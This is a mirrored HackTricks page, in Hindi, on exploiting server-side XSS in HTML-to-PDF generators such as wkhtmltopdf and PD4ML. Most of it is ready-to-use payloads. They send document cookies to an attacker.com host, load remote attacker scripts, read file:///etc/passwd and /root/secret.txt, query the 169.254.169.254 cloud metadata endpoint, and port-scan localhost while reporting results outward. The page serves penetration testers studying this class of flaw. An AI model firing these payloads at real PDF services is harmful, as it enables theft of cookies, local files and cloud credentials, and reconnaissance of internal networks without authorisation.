mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
191 lines
14 KiB
Markdown
191 lines
14 KiB
Markdown
# Server Side XSS (Dynamic PDF)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Server Side XSS (Dynamic PDF)
|
|
|
|
यदि एक वेब पृष्ठ उपयोगकर्ता द्वारा नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप उस **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है ताकि वह **मनमाने JS कोड को निष्पादित** करे।\
|
|
तो, यदि **PDF निर्माता बॉट** कुछ प्रकार के **HTML** **टैग** पाता है, तो यह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके **Server XSS** का कारण बन सकते हैं।
|
|
|
|
कृपया ध्यान दें कि `<script></script>` टैग हमेशा काम नहीं करते, इसलिए आपको JS को निष्पादित करने के लिए एक अलग विधि की आवश्यकता होगी (उदाहरण के लिए, `<img` का दुरुपयोग करना)।\
|
|
इसके अलावा, ध्यान दें कि एक नियमित शोषण में आप **बनाई गई PDF को देख/डाउनलोड** करने में सक्षम होंगे, इसलिए आप जो कुछ भी **JS के माध्यम से लिखते हैं** (उदाहरण के लिए `document.write()` का उपयोग करके) उसे देख सकेंगे। लेकिन, यदि आप **बनाई गई PDF को नहीं देख सकते**, तो आपको शायद **जानकारी निकालने के लिए वेब अनुरोध करना** होगा (Blind)।
|
|
|
|
### लोकप्रिय PDF निर्माण
|
|
|
|
- **wkhtmltopdf** HTML और CSS को PDF दस्तावेजों में परिवर्तित करने की अपनी क्षमता के लिए जाना जाता है, जो WebKit रेंडरिंग इंजन का उपयोग करता है। यह उपकरण एक ओपन-सोर्स कमांड लाइन उपयोगिता के रूप में उपलब्ध है, जो इसे विभिन्न अनुप्रयोगों के लिए सुलभ बनाता है।
|
|
- **TCPDF** PDF निर्माण के लिए PHP पारिस्थितिकी तंत्र के भीतर एक मजबूत समाधान प्रदान करता है। यह चित्रों, ग्राफिक्स और एन्क्रिप्शन को संभालने में सक्षम है, जटिल दस्तावेज़ बनाने के लिए इसकी बहुपरकारीता को प्रदर्शित करता है।
|
|
- जो लोग Node.js वातावरण में काम कर रहे हैं, उनके लिए **PDFKit** एक व्यवहार्य विकल्प प्रस्तुत करता है। यह HTML और CSS से सीधे PDF दस्तावेज़ों का निर्माण करने की अनुमति देता है, वेब सामग्री और प्रिंट करने योग्य प्रारूपों के बीच एक पुल प्रदान करता है।
|
|
- जावा डेवलपर्स **iText** को पसंद कर सकते हैं, एक पुस्तकालय जो न केवल PDF निर्माण को सुविधाजनक बनाता है बल्कि डिजिटल हस्ताक्षर और फॉर्म भरने जैसी उन्नत सुविधाओं का भी समर्थन करता है। इसकी व्यापक विशेषताएँ इसे सुरक्षित और इंटरैक्टिव दस्तावेज़ बनाने के लिए उपयुक्त बनाती हैं।
|
|
- **FPDF** एक और PHP पुस्तकालय है, जो अपनी सरलता और उपयोग में आसानी के लिए जाना जाता है। यह उन डेवलपर्स के लिए डिज़ाइन किया गया है जो PDF निर्माण के लिए एक सीधी दृष्टिकोण की तलाश कर रहे हैं, बिना विस्तृत सुविधाओं की आवश्यकता के।
|
|
|
|
## Payloads
|
|
|
|
### Discovery
|
|
```html
|
|
<!-- Basic discovery, Write something-->
|
|
<img src="x" onerror="document.write('test')" />
|
|
<script>document.write(JSON.stringify(window.location))</script>
|
|
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
|
|
|
<!--Basic blind discovery, load a resource-->
|
|
<img src="http://attacker.com"/>
|
|
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
|
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
|
<link rel=attachment href="http://attacker.com">
|
|
|
|
<!-- Using base HTML tag -->
|
|
<base href="http://attacker.com" />
|
|
|
|
<!-- Loading external stylesheet -->
|
|
<link rel="stylesheet" src="http://attacker.com" />
|
|
|
|
<!-- Meta-tag to auto-refresh page -->
|
|
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
|
|
|
<!-- Loading external components -->
|
|
<input type="image" src="http://attacker.com" />
|
|
<video src="http://attacker.com" />
|
|
<audio src="http://attacker.com" />
|
|
<audio><source src="http://attacker.com"/></audio>
|
|
<svg src="http://attacker.com" />
|
|
```
|
|
### SVG
|
|
|
|
इस SVG payload के अंदर पिछले या निम्नलिखित payloads में से कोई भी उपयोग किया जा सकता है। एक iframe जो Burpcollab उपडोमेन को एक्सेस करता है और दूसरा जो मेटाडेटा एंडपॉइंट को एक्सेस करता है, उदाहरण के रूप में दिए गए हैं।
|
|
```html
|
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
|
<g>
|
|
<foreignObject width="800" height="500">
|
|
<body xmlns="http://www.w3.org/1999/xhtml">
|
|
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
|
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
|
</body>
|
|
</foreignObject>
|
|
</g>
|
|
</svg>
|
|
|
|
|
|
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
|
xmlns="http://www.w3.org/2000/svg">
|
|
<circle cx="50" cy="50" r="45" fill="green"
|
|
id="foo"/>
|
|
<script type="text/javascript">
|
|
// <![CDATA[
|
|
alert(1);
|
|
// ]]>
|
|
</script>
|
|
</svg>
|
|
```
|
|
आप बहुत सारे **अन्य SVG पेलोड** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) में पा सकते हैं।
|
|
|
|
### पथ प्रकटीकरण
|
|
```html
|
|
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
|
if not, you will at least have wich path the bot is accessing -->
|
|
<img src="x" onerror="document.write(window.location)" />
|
|
<script> document.write(window.location) </script>
|
|
```
|
|
### Load an external script
|
|
|
|
इस कमजोरियों का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरियों का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ इसे लोड करने के लिए मजबूर कर सकेंगे।
|
|
```html
|
|
<script src="http://attacker.com/myscripts.js"></script>
|
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
|
```
|
|
### स्थानीय फ़ाइल पढ़ें / SSRF
|
|
|
|
> [!WARNING]
|
|
> `file:///etc/passwd` को उदाहरण के लिए `http://169.254.169.254/latest/user-data` में बदलें ताकि **एक बाहरी वेब पृष्ठ (SSRF) तक पहुँचने की कोशिश करें**।
|
|
>
|
|
> यदि SSRF की अनुमति है, लेकिन आप **किसी दिलचस्प डोमेन या IP तक नहीं पहुँच सकते**, [इस पृष्ठ को संभावित बाईपास के लिए देखें](../ssrf-server-side-request-forgery/url-format-bypass.md)।
|
|
```html
|
|
<script>
|
|
x=new XMLHttpRequest;
|
|
x.onload=function(){document.write(btoa(this.responseText))};
|
|
x.open("GET","file:///etc/passwd");x.send();
|
|
</script>
|
|
```
|
|
|
|
```html
|
|
<script>
|
|
xhzeem = new XMLHttpRequest();
|
|
xhzeem.onload = function(){document.write(this.responseText);}
|
|
xhzeem.onerror = function(){document.write('failed!')}
|
|
xhzeem.open("GET","file:///etc/passwd");
|
|
xhzeem.send();
|
|
</script>
|
|
```
|
|
|
|
```html
|
|
<iframe src=file:///etc/passwd></iframe>
|
|
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
|
<link rel=attachment href="file:///root/secret.txt">
|
|
<object data="file:///etc/passwd">
|
|
<portal src="file:///etc/passwd" id=portal>
|
|
<embed src="file:///etc/passwd>" width="400" height="400">
|
|
<style><iframe src="file:///etc/passwd">
|
|
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
|
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
|
```
|
|
|
|
```html
|
|
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
|
```
|
|
### बॉट देरी
|
|
```html
|
|
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
|
<script>
|
|
let time = 500;
|
|
setInterval(()=>{
|
|
let img = document.createElement("img");
|
|
img.src = `https://attacker.com/ping?time=${time}ms`;
|
|
time += 500;
|
|
}, 500);
|
|
</script>
|
|
<img src="https://attacker.com/delay">
|
|
```
|
|
### पोर्ट स्कैन
|
|
```html
|
|
<!--Scan local port and receive a ping indicating which ones are found-->
|
|
<script>
|
|
const checkPort = (port) => {
|
|
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
|
|
let img = document.createElement("img");
|
|
img.src = `http://attacker.com/ping?port=${port}`;
|
|
});
|
|
}
|
|
|
|
for(let i=0; i<1000; i++) {
|
|
checkPort(i);
|
|
}
|
|
</script>
|
|
<img src="https://attacker.com/startingScan">
|
|
```
|
|
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
|
|
|
यह कमजोरियों को बहुत आसानी से SSRF में परिवर्तित किया जा सकता है (क्योंकि आप स्क्रिप्ट को बाहरी संसाधनों को लोड करने के लिए बना सकते हैं)। इसलिए बस इसे शोषण करने की कोशिश करें (क्या कुछ मेटाडेटा पढ़ सकते हैं?)।
|
|
|
|
### Attachments: PD4ML
|
|
|
|
कुछ HTML 2 PDF इंजन हैं जो **PDF के लिए अटैचमेंट निर्दिष्ट करने** की अनुमति देते हैं, जैसे **PD4ML**। आप इस सुविधा का दुरुपयोग करके **PDF में किसी भी स्थानीय फ़ाइल को अटैच** कर सकते हैं।\
|
|
अटैचमेंट खोलने के लिए मैंने **Firefox के साथ फ़ाइल खोली और पेपरक्लिप प्रतीक पर डबल क्लिक किया** ताकि **अटैचमेंट को एक नई फ़ाइल के रूप में स्टोर किया जा सके**।\
|
|
बर्प के साथ **PDF प्रतिक्रिया** कैप्चर करने से **PDF के अंदर स्पष्ट पाठ में अटैचमेंट भी दिखाना चाहिए**।
|
|
```html
|
|
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
|
<html>
|
|
<pd4ml:attachment
|
|
src="/etc/passwd"
|
|
description="attachment sample"
|
|
icon="Paperclip" />
|
|
</html>
|
|
```
|
|
## संदर्भ
|
|
|
|
- [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
|
|
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
|
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
|
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
|
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|